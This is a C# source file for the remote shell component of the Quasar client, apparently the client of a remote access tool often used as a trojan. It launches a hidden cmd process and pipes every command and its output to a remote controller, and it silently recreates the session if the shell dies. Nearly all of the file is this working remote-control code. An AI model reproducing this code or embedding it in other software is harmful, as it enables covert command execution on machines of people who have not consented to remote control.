using Quasar.Client.Networking; using Quasar.Common.Messages; using System; using System.Diagnostics; using System.Globalization; using System.IO; using System.Text; using System.Threading; namespace Quasar.Client.IO { /// /// This class manages a remote shell session. /// public class Shell : IDisposable { /// /// The process of the command-line (cmd). /// private Process _prc; /// /// Decides if we should still read from the output. /// /// Detects unexpected closing of the shell. /// /// private bool _read; /// /// The lock object for the read variable. /// private readonly object _readLock = new object(); /// /// The lock object for the StreamReader. /// private readonly object _readStreamLock = new object(); /// /// The current console encoding. /// private Encoding _encoding; /// /// Redirects commands to the standard input stream of the console with the correct encoding. /// private StreamWriter _inputWriter; /// /// The client to sends responses to. /// private readonly QuasarClient _client; /// /// Initializes a new instance of the class using a given client. /// /// The client to send shell responses to. public Shell(QuasarClient client) { _client = client; } /// /// Creates a new session of the shell. /// private void CreateSession() { lock (_readLock) { _read = true; } var cultureInfo = CultureInfo.InstalledUICulture; _encoding = Encoding.GetEncoding(cultureInfo.TextInfo.OEMCodePage); _prc = new Process { StartInfo = new ProcessStartInfo("cmd") { UseShellExecute = false, CreateNoWindow = true, RedirectStandardInput = true, RedirectStandardOutput = true, RedirectStandardError = true, StandardOutputEncoding = _encoding, StandardErrorEncoding = _encoding, WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)), Arguments = $"/K CHCP {_encoding.CodePage}" } }; _prc.Start(); RedirectIO(); _client.Send(new DoShellExecuteResponse { Output = "\n>> New Session created\n" }); } /// /// Starts the redirection of input and output. /// private void RedirectIO() { _inputWriter = new StreamWriter(_prc.StandardInput.BaseStream, _encoding); new Thread(RedirectStandardOutput).Start(); new Thread(RedirectStandardError).Start(); } /// /// Reads the output from the stream. /// /// The first read char. /// The StreamReader to read from. /// True if reading from the error-stream, else False. private void ReadStream(int firstCharRead, StreamReader streamReader, bool isError) { lock (_readStreamLock) { var streamBuffer = new StringBuilder(); streamBuffer.Append((char)firstCharRead); // While there are more characters to be read while (streamReader.Peek() > -1) { // Read the character in the queue var ch = streamReader.Read(); // Accumulate the characters read in the stream buffer streamBuffer.Append((char)ch); if (ch == '\n') SendAndFlushBuffer(ref streamBuffer, isError); } // Flush any remaining text in the buffer SendAndFlushBuffer(ref streamBuffer, isError); } } /// /// Sends the read output to the Client. /// /// Contains the contents of the output. /// True if reading from the error-stream, else False. private void SendAndFlushBuffer(ref StringBuilder textBuffer, bool isError) { if (textBuffer.Length == 0) return; var toSend = ConvertEncoding(_encoding, textBuffer.ToString()); if (string.IsNullOrEmpty(toSend)) return; _client.Send(new DoShellExecuteResponse { Output = toSend, IsError = isError }); textBuffer.Clear(); } /// /// Reads from the standard output-stream. /// private void RedirectStandardOutput() { try { int ch; // The Read() method will block until something is available while (_prc != null && !_prc.HasExited && (ch = _prc.StandardOutput.Read()) > -1) { ReadStream(ch, _prc.StandardOutput, false); } lock (_readLock) { if (_read) { _read = false; throw new ApplicationException("session unexpectedly closed"); } } } catch (ObjectDisposedException) { // just exit } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException) { _client.Send(new DoShellExecuteResponse { Output = "\n>> Session unexpectedly closed\n", IsError = true }); CreateSession(); } } } /// /// Reads from the standard error-stream. /// private void RedirectStandardError() { try { int ch; // The Read() method will block until something is available while (_prc != null && !_prc.HasExited && (ch = _prc.StandardError.Read()) > -1) { ReadStream(ch, _prc.StandardError, true); } lock (_readLock) { if (_read) { _read = false; throw new ApplicationException("session unexpectedly closed"); } } } catch (ObjectDisposedException) { // just exit } catch (Exception ex) { if (ex is ApplicationException || ex is InvalidOperationException) { _client.Send(new DoShellExecuteResponse { Output = "\n>> Session unexpectedly closed\n", IsError = true }); CreateSession(); } } } /// /// Executes a shell command. /// /// The command to execute. /// False if execution failed, else True. public bool ExecuteCommand(string command) { if (_prc == null || _prc.HasExited) { try { CreateSession(); } catch (Exception ex) { _client.Send(new DoShellExecuteResponse { Output = $"\n>> Failed to creation shell session: {ex.Message}\n", IsError = true }); return false; } } _inputWriter.WriteLine(ConvertEncoding(_encoding, command)); _inputWriter.Flush(); return true; } /// /// Converts the encoding of an input string to UTF-8 format. /// /// The source encoding of the input string. /// The input string. /// The input string in UTF-8 format. private string ConvertEncoding(Encoding sourceEncoding, string input) { var utf8Text = Encoding.Convert(sourceEncoding, Encoding.UTF8, sourceEncoding.GetBytes(input)); return Encoding.UTF8.GetString(utf8Text); } /// /// Releases all resources used by this class. /// public void Dispose() { Dispose(true); GC.SuppressFinalize(this); } protected virtual void Dispose(bool disposing) { if (disposing) { lock (_readLock) { _read = false; } if (_prc == null) return; if (!_prc.HasExited) { try { _prc.Kill(); } catch { } } if (_inputWriter != null) { _inputWriter.Close(); _inputWriter = null; } _prc.Dispose(); _prc = null; } } } }